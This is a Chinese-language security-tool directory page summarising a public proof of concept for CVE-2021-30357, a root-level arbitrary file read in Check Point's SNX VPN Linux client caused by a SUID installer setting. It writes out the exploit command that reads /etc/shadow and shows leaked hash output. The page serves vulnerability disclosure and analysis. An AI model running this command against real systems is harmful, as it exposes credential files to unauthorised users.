Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — 针对 CheckPoint SNX VPN Linux 客户端的特权文件读取概念验证 | Kitploit
工具/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
权限提升漏洞扫描器漏洞分析漏洞利用渗透测试
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

针对 CheckPoint SNX VPN Linux 客户端的特权文件读取概念验证

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
61123年前尚未审核

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

针对通过 CheckPoint SNX VPN Linux 客户端进行特权文件读取的概念验证(PoC)。

受影响版本

  • CheckPointVPN_SNX_Linux_800007075.sh
  • MD5 校验和:4372e9936e2dfb1d1ebcef3ed4dd7787

漏洞利用

要利用此漏洞,只需使用 -f 参数将任意文件作为 SNX 配置加载。如果该文件不是有效的 SNX 配置,程序将抛出错误并显示语法错误,从而泄露文件内容,直到找到字符串终止符(例如 etc/shadow):

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

漏洞成因

该漏洞的原因是可执行文件 /usr/bin/snx 在安装时被设置了 SETUID 位并以超级用户身份运行。

具体来说,.sh 安装文件(CheckPointVPN_SNX_Linux_800007075.sh)中定义的变量 COMMAND_TO_RUN 如下:

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

在参数 --mode=u=rxs 中,最后的 s 设置了 SUID 位,从而导致该可执行二进制文件以 root 身份运行。

官方公告

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
下载工具